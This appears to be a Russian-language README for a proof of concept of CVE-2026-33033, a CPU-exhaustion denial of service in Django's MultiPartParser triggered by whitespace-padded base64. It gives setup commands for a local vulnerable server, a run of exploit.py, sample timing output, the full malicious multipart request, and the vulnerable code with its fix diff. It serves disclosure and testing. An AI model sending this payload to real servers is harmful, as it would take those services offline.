Уровень 1:  цикл выравнивания base64 вызывает read(1) на каждый пробельный байт
              |
Уровень 2:  LazyStream.read(1) получает весь остаток (~64 КБ), нарезает 1 байт,
          возвращает ~64 КБ - 1 обратно  -->  копирование O(C) байт за вызов
              |
Уровень 3:  unget() выполняет  self._leftover = bytes + self._leftover
          создавая новый объект bytes каждый раз  -->  memcpy ~C байт

Итого = (C-1) + (C-2) + ... + 1 = C(C-1)/2 ~ 2,15 миллиарда байтовых операций

CVE-2026-33033-PoC/
├── README.md           # Этот файл
├── LICENSE
├── requirements.txt    # Зависимости Python
├── exploit.py          # Скрипт эксплойта
└── victim/             # Уязвимый сервер Django
    ├── manage.py
    ├── uwsgi.ini       # Конфигурация развёртывания uWSGI
    └── victim/
        ├── __init__.py
        ├── settings.py  # Настройки Django по умолчанию (специальная конфигурация не требуется)
        ├── urls.py      # Конечные точки /upload и /health
        └── wsgi.py

git clone https://github.com/ch4n3-yoon/CVE-2026-33033-PoC.git
cd CVE-2026-33033-PoC

python3 -m venv venv
source venv/bin/activate
pip install -r requirements.txt

cd victim
python manage.py runserver 0.0.0.0:8000

cd victim
uwsgi --ini uwsgi.ini

source venv/bin/activate
python exploit.py --target http://127.0.0.1:8000/upload

============================================================
CVE-2026-33033 PoC
Отказ в обслуживании через усиление нагрузки на ЦП
с помощью пробелов в base64 в Django MultiPartParser
============================================================

Цель:         http://127.0.0.1:8000/upload
Размер полезной нагрузки: 2 621 440 байт (2,5 МБ)
Раунды:       3

[*] Проверка работоспособности сервера...
[+] Сервер работает.

------------------------------------------------------------
[*] Фаза 1: Отправка БЕЗВРЕДНОГО запроса (обычные данные base64)
------------------------------------------------------------
    Статус: 200
    Время:   5,55 мс

------------------------------------------------------------
[*] Фаза 2: Отправка ВРЕДОНОСНЫХ запросов (base64 + пробелы)
------------------------------------------------------------

  Раунд 1/3:
    Статус: 200
    Время:   4571,12 мс
  ...

============================================================
РЕЗУЛЬТАТЫ
============================================================
  Безвредный запрос:          5,55 мс
  Среднее время атаки:       4571,12 мс  (за 3 раунда)
  Усиление:                    823x

[!] УЯЗВИМО: Среднее время атаки превышает 1 секунду.
    Один запрос 2,5 МБ занимает рабочий процесс на ~4,6 с.
    С 4 рабочими процессами всего 4 одновременных запроса могут вызвать DoS сервера.

POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----CVE2026-33033
Content-Length: 2621552

------CVE2026-33033
Content-Disposition: form-data; name="file"; filename="poc.bin"
Content-Type: application/octet-stream
Content-Transfer-Encoding: base64

AAA<2 621 433 пробела>A
------CVE2026-33033--

for chunk in field_stream:
    if transfer_encoding == "base64":
        stripped_chunk = b"".join(chunk.split())

        remaining = len(stripped_chunk) % 4
        while remaining != 0:
            over_chunk = field_stream.read(4 - remaining)   # <-- read(1)
            if not over_chunk:
                break
            stripped_chunk += b"".join(over_chunk.split())   # удаляется до пустоты
            remaining = len(stripped_chunk) % 4               # остаётся 3

-                                stripped_chunk = b"".join(chunk.split())
+                                stripped_parts = [b"".join(chunk.split())]
+                                stripped_length = len(stripped_parts[0])

-                                remaining = len(stripped_chunk) % 4
-                                while remaining != 0:
-                                    over_chunk = field_stream.read(4 - remaining)
+                                while stripped_length % 4 != 0:
+                                    over_chunk = field_stream.read(self._chunk_size)
                                     if not over_chunk:
                                         break
-                                    stripped_chunk += b"".join(over_chunk.split())
-                                    remaining = len(stripped_chunk) % 4
+                                    over_stripped = b"".join(over_chunk.split())
+                                    stripped_parts.append(over_stripped)
+                                    stripped_length += len(over_stripped)
+
+                                stripped_chunk = b"".join(stripped_parts)